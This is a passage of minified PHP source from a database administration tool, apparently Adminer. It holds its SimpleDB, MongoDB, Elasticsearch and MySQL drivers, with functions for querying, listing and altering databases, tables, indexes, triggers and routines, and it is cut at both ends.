hmac($Ba,$Eb,$x,$Qf=false){$Ua=64;if(strlen($x)>$Ua)$x=pack("H*",$Ba($x));$x=str_pad($x,$Ua,"\0");$Hd=$x^str_repeat("\x36",$Ua);$Id=$x^str_repeat("\x5C",$Ua);$J=$Ba($Id.pack("H*",$Ba($Hd.$Eb)));if($Qf)$J=pack("H*",$J);return$J;}function
sdb_request($va,$F=array()){global$b,$h;list($hd,$F['AWSAccessKeyId'],$qg)=$b->credentials();$F['Action']=$va;$F['Timestamp']=gmdate('Y-m-d\TH:i:s+00:00');$F['Version']='2009-04-15';$F['SignatureVersion']=2;$F['SignatureMethod']='HmacSHA1';ksort($F);$H='';foreach($F
as$x=>$X)$H.='&'.rawurlencode($x).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.="&Signature=".urlencode(base64_encode(hmac('sha1',"POST\n".preg_replace('~^https?://~','',$hd)."\n/\n$H",$qg,true)));@ini_set('track_errors',1);$Hc=@file_get_contents((preg_match('~^https?://~',$hd)?$hd:"http://$hd"),false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$H,'ignore_errors'=>1,))));if(!$Hc){$h->error=$php_errormsg;return
false;}libxml_use_internal_errors(true);$ei=simplexml_load_string($Hc);if(!$ei){$n=libxml_get_last_error();$h->error=$n->message;return
false;}if($ei->Errors){$n=$ei->Errors->Error;$h->error="$n->Message ($n->Code)";return
false;}$h->error='';$ah=$va."Result";return($ei->$ah?$ei->$ah:true);}function
sdb_request_all($va,$ah,$F=array(),$jh=0){$J=array();$Hg=($jh?microtime(true):0);$z=(preg_match('~LIMIT\s+(\d+)\s*$~i',$F['SelectExpression'],$B)?$B[1]:0);do{$ei=sdb_request($va,$F);if(!$ei)break;foreach($ei->$ah
as$ic)$J[]=$ic;if($z&&count($J)>=$z){$_GET["next"]=$ei->NextToken;break;}if($jh&&microtime(true)-$Hg>$jh)return
false;$F['NextToken']=$ei->NextToken;if($z)$F['SelectExpression']=preg_replace('~\d+\s*$~',$z-count($J),$F['SelectExpression']);}while($ei->NextToken);return$J;}$w="simpledb";$Re=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","IS NOT NULL");$Uc=array();$Zc=array("count");$fc=array(array("json"));}$Xb["mongo"]="MongoDB (beta)";if(isset($_GET["mongo"])){$zf=array("mongo");define("DRIVER","mongo");if(class_exists('MongoDB')){class
Min_DB{var$extension="Mongo",$error,$last_id,$_link,$_db;function
connect($N,$V,$G){global$b;$m=$b->database();$Ue=array();if($V!=""){$Ue["username"]=$V;$Ue["password"]=$G;}if($m!="")$Ue["db"]=$m;try{$this->_link=@new
MongoClient("mongodb://$N",$Ue);return
true;}catch(Exception$uc){$this->error=$uc->getMessage();return
false;}}function
query($H){return
false;}function
select_db($Gb){try{$this->_db=$this->_link->selectDB($Gb);return
true;}catch(Exception$uc){$this->error=$uc->getMessage();return
false;}}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function
__construct($I){foreach($I
as$Ed){$K=array();foreach($Ed
as$x=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$x]=63;$K[$x]=(is_a($X,'MongoId')?'ObjectId("'.strval($X).'")':(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?strval($X):(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$K;foreach($K
as$x=>$X){if(!isset($this->_rows[0][$x]))$this->_rows[0][$x]=null;}}$this->num_rows=count($this->_rows);}function
fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$x=>$X)$J[$x]=$K[$x];next($this->_rows);return$J;}function
fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return
array_values($J);}function
fetch_field(){$Kd=array_keys($this->_rows[0]);$C=$Kd[$this->_offset++];return(object)array('name'=>$C,'charsetnr'=>$this->_charset[$C],);}}}class
Min_Driver
extends
Min_SQL{public$Bf="_id";function
select($Q,$M,$Z,$Xc,$We=array(),$z=1,$E=0,$Df=false){$M=($M==array("*")?array():array_fill_keys($M,true));$Cg=array();foreach($We
as$X){$X=preg_replace('~ DESC$~','',$X,1,$Ab);$Cg[$X]=($Ab?-1:1);}return
new
Min_Result($this->_conn->_db->selectCollection($Q)->find(array(),$M)->sort($Cg)->limit(+$z)->skip($E*$z));}function
insert($Q,$O){try{$J=$this->_conn->_db->selectCollection($Q)->insert($O);$this->_conn->errno=$J['code'];$this->_conn->error=$J['err'];$this->_conn->last_id=$O['_id'];return!$J['err'];}catch(Exception$uc){$this->_conn->error=$uc->getMessage();return
false;}}}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2]))return$h;return$h->error;}function
error(){global$h;return
h($h->error);}function
logged_user(){global$b;$k=$b->credentials();return$k[1];}function
get_databases($Lc){global$h;$J=array();$Jb=$h->_link->listDBs();foreach($Jb['databases']as$m)$J[]=$m['name'];return$J;}function
collations(){return
array();}function
db_collation($m,$nb){}function
count_tables($l){global$h;$J=array();foreach($l
as$m)$J[$m]=count($h->_link->selectDB($m)->getCollectionNames(true));return$J;}function
tables_list(){global$h;return
array_fill_keys($h->_db->getCollectionNames(true),'table');}function
table_status($C="",$Ec=false){$J=array();foreach(tables_list()as$Q=>$U){$J[$Q]=array("Name"=>$Q);if($C==$Q)return$J[$Q];}return$J;}function
information_schema(){}function
is_view($R){}function
drop_databases($l){global$h;foreach($l
as$m){$bg=$h->_link->selectDB($m)->drop();if(!$bg['ok'])return
false;}return
true;}function
indexes($Q,$i=null){global$h;$J=array();foreach($h->_db->selectCollection($Q)->getIndexInfo()as$u){$Pb=array();foreach($u["key"]as$e=>$U)$Pb[]=($U==-1?'1':null);$J[$u["name"]]=array("type"=>($u["name"]=="_id_"?"PRIMARY":($u["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($u["key"]),"lengths"=>array(),"descs"=>$Pb,);}return$J;}function
fields($Q){return
fields_from_edit();}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
foreign_keys($Q){return
array();}function
fk_support($R){}function
engines(){return
array();}function
found_rows($R,$Z){global$h;return$h->_db->selectCollection($_GET["select"])->count($Z);}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){global$h;if($Q==""){$h->_db->createCollection($C);return
true;}}function
drop_tables($S){global$h;foreach($S
as$Q){$bg=$h->_db->selectCollection($Q)->drop();if(!$bg['ok'])return
false;}return
true;}function
truncate_tables($S){global$h;foreach($S
as$Q){$bg=$h->_db->selectCollection($Q)->remove();if(!$bg['ok'])return
false;}return
true;}function
alter_indexes($Q,$c){global$h;foreach($c
as$X){list($U,$C,$O)=$X;if($O=="DROP")$J=$h->_db->command(array("deleteIndexes"=>$Q,"index"=>$C));else{$f=array();foreach($O
as$e){$e=preg_replace('~ DESC$~','',$e,1,$Ab);$f[$e]=($Ab?-1:1);}$J=$h->_db->selectCollection($Q)->ensureIndex($f,array("unique"=>($U=="UNIQUE"),"name"=>$C,));}if($J['errmsg']){$h->error=$J['errmsg'];return
false;}}return
true;}function
last_id(){global$h;return$h->last_id;}function
table($t){return$t;}function
idf_escape($t){return$t;}function
support($Fc){return
preg_match("~database|indexes~",$Fc);}$w="mongo";$Re=array("=");$Uc=array();$Zc=array();$fc=array(array("json"));}$Xb["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){$zf=array("json");define("DRIVER","elastic");if(function_exists('json_decode')){class
Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url;function
rootQuery($qf,$wb=array(),$re='GET'){@ini_set('track_errors',1);$Hc=@file_get_contents($this->_url.'/'.ltrim($qf,'/'),false,stream_context_create(array('http'=>array('method'=>$re,'content'=>json_encode($wb),'ignore_errors'=>1,))));if(!$Hc){$this->error=$php_errormsg;return$Hc;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Hc;return
false;}$J=json_decode($Hc,true);if($J===null){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$vb=get_defined_constants(true);foreach($vb['json']as$C=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$C)){$this->error=$C;break;}}}}return$J;}function
query($qf,$wb=array(),$re='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($qf,'/'),$wb,$re);}function
connect($N,$V,$G){$this->_url="http://$V:$G@$N/";$J=$this->query('');if($J)$this->server_info=$J['version']['number'];return(bool)$J;}function
select_db($Gb){$this->_db=$Gb;return
true;}function
quote($P){return$P;}}class
Min_Result{var$num_rows,$_rows;function
__construct($L){$this->num_rows=count($this->_rows);$this->_rows=$L;reset($this->_rows);}function
fetch_assoc(){$J=current($this->_rows);next($this->_rows);return$J;}function
fetch_row(){return
array_values($this->fetch_assoc());}}}class
Min_Driver
extends
Min_SQL{function
select($Q,$M,$Z,$Xc,$We=array(),$z=1,$E=0,$Df=false){global$b;$Eb=array();$H="$Q/_search";if($M!=array("*"))$Eb["fields"]=$M;if($We){$Cg=array();foreach($We
as$lb){$lb=preg_replace('~ DESC$~','',$lb,1,$Ab);$Cg[]=($Ab?array($lb=>"desc"):$lb);}$Eb["sort"]=$Cg;}if($z){$Eb["size"]=+$z;if($E)$Eb["from"]=($E*$z);}foreach($Z
as$X){list($lb,$Pe,$X)=explode(" ",$X,3);if($lb=="_id")$Eb["query"]["ids"]["values"][]=$X;elseif($lb.$X!=""){$eh=array("term"=>array(($lb!=""?$lb:"_all")=>$X));if($Pe=="=")$Eb["query"]["filtered"]["filter"]["and"][]=$eh;else$Eb["query"]["filtered"]["query"]["bool"]["must"][]=$eh;}}if($Eb["query"]&&!$Eb["query"]["filtered"]["query"]&&!$Eb["query"]["ids"])$Eb["query"]["filtered"]["query"]=array("match_all"=>array());$Hg=microtime(true);$pg=$this->_conn->query($H,$Eb);if($Df)echo$b->selectQuery("$H: ".print_r($Eb,true),format_time($Hg));if(!$pg)return
false;$J=array();foreach($pg['hits']['hits']as$gd){$K=array();if($M==array("*"))$K["_id"]=$gd["_id"];$p=$gd['_source'];if($M!=array("*")){$p=array();foreach($M
as$x)$p[$x]=$gd['fields'][$x];}foreach($p
as$x=>$X){if($Eb["fields"])$X=$X[0];$K[$x]=(is_array($X)?json_encode($X):$X);}$J[]=$K;}return
new
Min_Result($J);}}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2]))return$h;return$h->error;}function
support($Fc){return
preg_match("~database|table|columns~",$Fc);}function
logged_user(){global$b;$k=$b->credentials();return$k[1];}function
get_databases(){global$h;$J=$h->rootQuery('_aliases');if($J){$J=array_keys($J);sort($J,SORT_STRING);}return$J;}function
collations(){return
array();}function
db_collation($m,$nb){}function
engines(){return
array();}function
count_tables($l){global$h;$J=$h->query('_mapping');if($J)$J=array_map('count',$J);return$J;}function
tables_list(){global$h;$J=$h->query('_mapping');if($J)$J=array_fill_keys(array_keys($J[$h->_db]["mappings"]),'table');return$J;}function
table_status($C="",$Ec=false){global$h;$pg=$h->query("_search?search_type=count",array("facets"=>array("count_by_type"=>array("terms"=>array("field"=>"_type",)))),"POST");$J=array();if($pg){foreach($pg["facets"]["count_by_type"]["terms"]as$Q)$J[$Q["term"]]=array("Name"=>$Q["term"],"Engine"=>"table","Rows"=>$Q["count"],);if($C!=""&&$C==$Q["term"])return$J[$C];}return$J;}function
error(){global$h;return
h($h->error);}function
information_schema(){}function
is_view($R){}function
indexes($Q,$i=null){return
array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function
fields($Q){global$h;$I=$h->query("$Q/_mapping");$J=array();if($I){$be=$I[$Q]['properties'];if(!$be)$be=$I[$h->_db]['mappings'][$Q]['properties'];if($be){foreach($be
as$C=>$o){$J[$C]=array("field"=>$C,"full_type"=>$o["type"],"type"=>$o["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);if($o["properties"]){unset($J[$C]["privileges"]["insert"]);unset($J[$C]["privileges"]["update"]);}}}}return$J;}function
foreign_keys($Q){return
array();}function
table($t){return$t;}function
idf_escape($t){return$t;}function
convert_field($o){}function
unconvert_field($o,$J){return$J;}function
fk_support($R){}function
found_rows($R,$Z){return
null;}function
create_database($m){global$h;return$h->rootQuery(urlencode($m),array(),'PUT');}function
drop_databases($l){global$h;return$h->rootQuery(urlencode(implode(',',$l)),array(),'DELETE');}function
drop_tables($S){global$h;$J=true;foreach($S
as$Q)$J=$J&&$h->query(urlencode($Q),array(),'DELETE');return$J;}$w="elastic";$Re=array("=","query");$Uc=array();$Zc=array();$fc=array(array("json"));}$Xb=array("server"=>"MySQL")+$Xb;if(!defined("DRIVER")){$zf=array("MySQLi","MySQL","PDO_MySQL");define("DRIVER","server");if(extension_loaded("mysqli")){class
Min_DB
extends
MySQLi{var$extension="MySQLi";function
__construct(){parent::init();}function
connect($N="",$V="",$G="",$Gb=null,$vf=null,$Bg=null){mysqli_report(MYSQLI_REPORT_OFF);list($hd,$vf)=explode(":",$N,2);$J=@$this->real_connect(($N!=""?$hd:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$G!=""?$G:ini_get("mysqli.default_pw")),$Gb,(is_numeric($vf)?$vf:ini_get("mysqli.default_port")),(!is_numeric($vf)?$vf:$Bg));return$J;}function
set_charset($ab){if(parent::set_charset($ab))return
true;parent::set_charset('utf8');return$this->query("SET NAMES $ab");}function
result($H,$o=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch_array();return$K[$o];}function
quote($P){return"'".$this->escape_string($P)."'";}}}elseif(extension_loaded("mysql")&&!(ini_get("sql.safe_mode")&&extension_loaded("pdo_mysql"))){class
Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function
connect($N,$V,$G){$this->_link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$G"!=""?$G:ini_get("mysql.default_password")),true,131072);if($this->_link)$this->server_info=mysql_get_server_info($this->_link);else$this->error=mysql_error();return(bool)$this->_link;}function
set_charset($ab){if(function_exists('mysql_set_charset')){if(mysql_set_charset($ab,$this->_link))return
true;mysql_set_charset('utf8',$this->_link);}return$this->query("SET NAMES $ab");}function
quote($P){return"'".mysql_real_escape_string($P,$this->_link)."'";}function
select_db($Gb){return
mysql_select_db($Gb,$this->_link);}function
query($H,$Ch=false){$I=@($Ch?mysql_unbuffered_query($H,$this->_link):mysql_query($H,$this->_link));$this->error="";if(!$I){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return
false;}if($I===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return
true;}return
new
Min_Result($I);}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return
false;return
mysql_result($I->_result,0,$o);}}class
Min_Result{var$num_rows,$_result,$_offset=0;function
__construct($I){$this->_result=$I;$this->num_rows=mysql_num_rows($I);}function
fetch_assoc(){return
mysql_fetch_assoc($this->_result);}function
fetch_row(){return
mysql_fetch_row($this->_result);}function
fetch_field(){$J=mysql_fetch_field($this->_result,$this->_offset++);$J->orgtable=$J->table;$J->orgname=$J->name;$J->charsetnr=($J->blob?63:0);return$J;}function
__destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class
Min_DB
extends
Min_PDO{var$extension="PDO_MySQL";function
connect($N,$V,$G){$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$N)),$V,$G);return
true;}function
set_charset($ab){$this->query("SET NAMES $ab");}function
select_db($Gb){return$this->query("USE ".idf_escape($Gb));}function
query($H,$Ch=false){$this->setAttribute(1000,!$Ch);return
parent::query($H,$Ch);}}}class
Min_Driver
extends
Min_SQL{function
insert($Q,$O){return($O?parent::insert($Q,$O):queries("INSERT INTO ".table($Q)." ()\nVALUES ()"));}function
insertUpdate($Q,$L,$Bf){$f=array_keys(reset($L));$_f="INSERT INTO ".table($Q)." (".implode(", ",$f).") VALUES\n";$Th=array();foreach($f
as$x)$Th[$x]="$x = VALUES($x)";$Og="\nON DUPLICATE KEY UPDATE ".implode(", ",$Th);$Th=array();$y=0;foreach($L
as$O){$Y="(".implode(", ",$O).")";if($Th&&(strlen($_f)+$y+strlen($Y)+strlen($Og)>1e6)){if(!queries($_f.implode(",\n",$Th).$Og))return
false;$Th=array();$y=0;}$Th[]=$Y;$y+=strlen($Y)+2;}return
queries($_f.implode(",\n",$Th).$Og);}}function
idf_escape($t){return"`".str_replace("`","``",$t)."`";}function
table($t){return
idf_escape($t);}function
connect(){global$b;$h=new
Min_DB;$k=$b->credentials();if($h->connect($k[0],$k[1],$k[2])){$h->set_charset(charset($h));$h->query("SET sql_quote_show_create = 1, autocommit = 1");return$h;}$J=$h->error;if(function_exists('iconv')&&!is_utf8($J)&&strlen($lg=iconv("windows-1250","utf-8",$J))>strlen($J))$J=$lg;return$J;}function
get_databases($Lc){global$h;$J=get_session("dbs");if($J===null){$H=($h->server_info>=5?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA":"SHOW DATABASES");$J=($Lc?slow_query($H):get_vals($H));restart_session();set_session("dbs",$J);stop_session();}return$J;}function
limit($H,$Z,$z,$D=0,$ug=" "){return" $H$Z".($z!==null?$ug."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){return
limit($H,$Z,1);}function
db_collation($m,$nb){global$h;$J=null;$j=$h->result("SHOW CREATE DATABASE ".idf_escape($m),1);if(preg_match('~ COLLATE ([^ ]+)~',$j,$B))$J=$B[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$j,$B))$J=$nb[$B[1]][-1];return$J;}function
engines(){$J=array();foreach(get_rows("SHOW ENGINES")as$K){if(preg_match("~YES|DEFAULT~",$K["Support"]))$J[]=$K["Engine"];}return$J;}function
logged_user(){global$h;return$h->result("SELECT USER()");}function
tables_list(){global$h;return
get_key_vals($h->server_info>=5?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function
count_tables($l){$J=array();foreach($l
as$m)$J[$m]=count(get_vals("SHOW TABLES IN ".idf_escape($m)));return$J;}function
table_status($C="",$Ec=false){global$h;$J=array();foreach(get_rows($Ec&&$h->server_info>=5?"SELECT TABLE_NAME AS Name, Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($C!=""?"AND TABLE_NAME = ".q($C):"ORDER BY Name"):"SHOW TABLE STATUS".($C!=""?" LIKE ".q(addcslashes($C,"%_\\")):""))as$K){if($K["Engine"]=="InnoDB")$K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$K["Comment"]);if(!isset($K["Engine"]))$K["Comment"]="";if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function
is_view($R){return$R["Engine"]===null;}function
fk_support($R){global$h;return
preg_match('~InnoDB|IBMDB2I~i',$R["Engine"])||(preg_match('~NDB~i',$R["Engine"])&&version_compare($h->server_info,'5.6')>=0);}function
fields($Q){$J=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($Q))as$K){preg_match('~^([^( ]+)(?:\\((.+)\\))?( unsigned)?( zerofill)?$~',$K["Type"],$B);$J[$K["Field"]]=array("field"=>$K["Field"],"full_type"=>$K["Type"],"type"=>$B[1],"length"=>$B[2],"unsigned"=>ltrim($B[3].$B[4]),"default"=>($K["Default"]!=""||preg_match("~char|set~",$B[1])?$K["Default"]:null),"null"=>($K["Null"]=="YES"),"auto_increment"=>($K["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$K["Extra"],$B)?$B[1]:""),"collation"=>$K["Collation"],"privileges"=>array_flip(preg_split('~, *~',$K["Privileges"])),"comment"=>$K["Comment"],"primary"=>($K["Key"]=="PRI"),);}return$J;}function
indexes($Q,$i=null){$J=array();foreach(get_rows("SHOW INDEX FROM ".table($Q),$i)as$K){$J[$K["Key_name"]]["type"]=($K["Key_name"]=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?"INDEX":"UNIQUE")));$J[$K["Key_name"]]["columns"][]=$K["Column_name"];$J[$K["Key_name"]]["lengths"][]=$K["Sub_part"];$J[$K["Key_name"]]["descs"][]=null;}return$J;}function
foreign_keys($Q){global$h,$Me;static$sf='`(?:[^`]|``)+`';$J=array();$Bb=$h->result("SHOW CREATE TABLE ".table($Q),1);if($Bb){preg_match_all("~CONSTRAINT ($sf) FOREIGN KEY ?\\(((?:$sf,? ?)+)\\) REFERENCES ($sf)(?:\\.($sf))? \\(((?:$sf,? ?)+)\\)(?: ON DELETE ($Me))?(?: ON UPDATE ($Me))?~",$Bb,$de,PREG_SET_ORDER);foreach($de
as$B){preg_match_all("~$sf~",$B[2],$Dg);preg_match_all("~$sf~",$B[5],$bh);$J[idf_unescape($B[1])]=array("db"=>idf_unescape($B[4]!=""?$B[3]:$B[4]),"table"=>idf_unescape($B[4]!=""?$B[4]:$B[3]),"source"=>array_map('idf_unescape',$Dg[0]),"target"=>array_map('idf_unescape',$bh[0]),"on_delete"=>($B[6]?$B[6]:"RESTRICT"),"on_update"=>($B[7]?$B[7]:"RESTRICT"),);}}return$J;}function
view($C){global$h;return
array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\\s+AS\\s+~isU','',$h->result("SHOW CREATE VIEW ".table($C),1)));}function
collations(){$J=array();foreach(get_rows("SHOW COLLATION")as$K){if($K["Default"])$J[$K["Charset"]][-1]=$K["Collation"];else$J[$K["Charset"]][]=$K["Collation"];}ksort($J);foreach($J
as$x=>$X)asort($J[$x]);return$J;}function
information_schema($m){global$h;return($h->server_info>=5&&$m=="information_schema")||($h->server_info>=5.5&&$m=="performance_schema");}function
error(){global$h;return
h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$h->error));}function
create_database($m,$d){return
queries("CREATE DATABASE ".idf_escape($m).($d?" COLLATE ".q($d):""));}function
drop_databases($l){$J=apply_queries("DROP DATABASE",$l,'idf_escape');restart_session();set_session("dbs",null);return$J;}function
rename_database($C,$d){$J=false;if(create_database($C,$d)){$Zf=array();foreach(tables_list()as$Q=>$U)$Zf[]=table($Q)." TO ".idf_escape($C).".".table($Q);$J=(!$Zf||queries("RENAME TABLE ".implode(", ",$Zf)));if($J)queries("DROP DATABASE ".idf_escape(DB));restart_session();set_session("dbs",null);}return$J;}function
auto_increment(){$Ma=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$u){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$u["columns"],true)){$Ma="";break;}if($u["type"]=="PRIMARY")$Ma=" UNIQUE";}}return" AUTO_INCREMENT$Ma";}function
alter_table($Q,$C,$p,$Mc,$rb,$nc,$d,$La,$nf){$c=array();foreach($p
as$o)$c[]=($o[1]?($Q!=""?($o[0]!=""?"CHANGE ".idf_escape($o[0]):"ADD"):" ")." ".implode($o[1]).($Q!=""?$o[2]:""):"DROP ".idf_escape($o[0]));$c=array_merge($c,$Mc);$Ig=($rb!==null?" COMMENT=".q($rb):"").($nc?" ENGINE=".q($nc):"").($d?" COLLATE ".q($d):"").($La!=""?" AUTO_INCREMENT=$La":"");if($Q=="")return
queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)$Ig$nf");if($Q!=$C)$c[]="RENAME TO ".table($C);if($Ig)$c[]=ltrim($Ig);return($c||$nf?queries("ALTER TABLE ".table($Q)."\n".implode(",\n",$c).$nf):true);}function
alter_indexes($Q,$c){foreach($c
as$x=>$X)$c[$x]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($Q).implode(",",$c));}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($Yh){return
queries("DROP VIEW ".implode(", ",array_map('table',$Yh)));}function
drop_tables($S){return
queries("DROP TABLE ".implode(", ",array_map('table',$S)));}function
move_tables($S,$Yh,$bh){$Zf=array();foreach(array_merge($S,$Yh)as$Q)$Zf[]=table($Q)." TO ".idf_escape($bh).".".table($Q);return
queries("RENAME TABLE ".implode(", ",$Zf));}function
copy_tables($S,$Yh,$bh){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($S
as$Q){$C=($bh==DB?table("copy_$Q"):idf_escape($bh).".".table($Q));if(!queries("\nDROP TABLE IF EXISTS $C")||!queries("CREATE TABLE $C LIKE ".table($Q))||!queries("INSERT INTO $C SELECT * FROM ".table($Q)))return
false;}foreach($Yh
as$Q){$C=($bh==DB?table("copy_$Q"):idf_escape($bh).".".table($Q));$Xh=view($Q);if(!queries("DROP VIEW IF EXISTS $C")||!queries("CREATE VIEW $C AS $Xh[select]"))return
false;}return
true;}function
trigger($C){if($C=="")return
array();$L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($C));return
reset($L);}function
triggers($Q){$J=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\\")))as$K)$J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($C,$U){global$h,$pc,$ud,$Bh;$Ca=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$Ah="((".implode("|",array_merge(array_keys($Bh),$Ca)).")\\b(?:\\s*\\(((?:[^'\")]|$pc)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";$sf="\\s*(".($U=="FUNCTION"?"":$ud).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$Ah";$j=$h->result("SHOW CREATE $U ".idf_escape($C),2);preg_match("~\\(((?:$sf\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$Ah\\s+":"")."(.*)~is",$j,$B);$p=array();preg_match_all("~$sf\\s*,?~is",$B[1],$de,PREG_SET_ORDER);foreach($de
as$if){$C=str_replace("``","`",$if[2]).$if[3];$p[]=array("field"=>$C,"type"=>strtolower($if[5]),"length"=>preg_replace_callback("~$pc~s",'normalize_enum',$if[6]),"unsigned"=>strtolower(preg_replace('~\\s+~',' ',trim("$if[8] $if[7]"))),"null"=>1,"full_type"=>$if[4],"inout"=>strtoupper($if[1]),"collation"=>strtolower($if[9]),);}if($U!="FUNCTION")return
array("fields"=>$p,"definition"=>$B[11]);return
array("fields"=>$p,"returns"=>array("type"=>$B[12],"length"=>$B[13],"unsigned"=>$B[15],"collation"=>$B[16]),"definition"=>$B[17],"language"=>"SQL",);}function
routines(){return
get_rows("SELECT ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function
routine_languages(){return
array();}function
last_id(){global$h;return$h->result("SELECT LAST_INSERT_ID()");}function
explain($h,$H){return$h->query("EXPLAIN ".($h->server_info>=5.1?"PARTITIONS ":"").$H);}function
found_rows($R,$Z){return($Z||$R["Engine"]!="InnoDB"?null:$R["Rows"]);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($ng){return
true;}function
create_sql($Q,$La){global$h;$J=$h->result("SHOW CREATE TABLE ".table($Q),1);if(!$La)$J=preg_replace('~ AUTO_INCREMENT=\\d+~','',$J);return$J;}function
truncate_sql($Q){return"TRUNCATE ".table($Q);}function
use_sql($Gb){return"USE ".idf_escape($Gb);}function
trigger_sql($Q,$Mg){$J="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($Q,"%_\\")),null,"-- ")as$K)$J.="\n".($Mg=='CREATE+ALTER'?"DROP TRIGGER IF EXISTS ".idf_escape($K["Trigger"]).";;\n":"")."CREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";return$J;}function
show_variables(){return
get_key_vals("SHOW VARIABLES");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
show_status(){return
get_key_vals("SHOW STATUS");}function
convert_field($o){if(preg_match("~binary~",$o["type"]))return"HEX(".idf_escape($o["field"]).")";if($o["type"]=="bit")return"BIN(".idf_escape($o["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))return"AsWKT(".idf_escape($o["field"]).")";}function
unconvert_field($o,$J){if(preg_match("~binary~",$o["type"]))$J="UNHEX($J)";if($o["type"]=="bit")$J="CONV($J, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))$J="GeomFromText($J)";return$J;}function
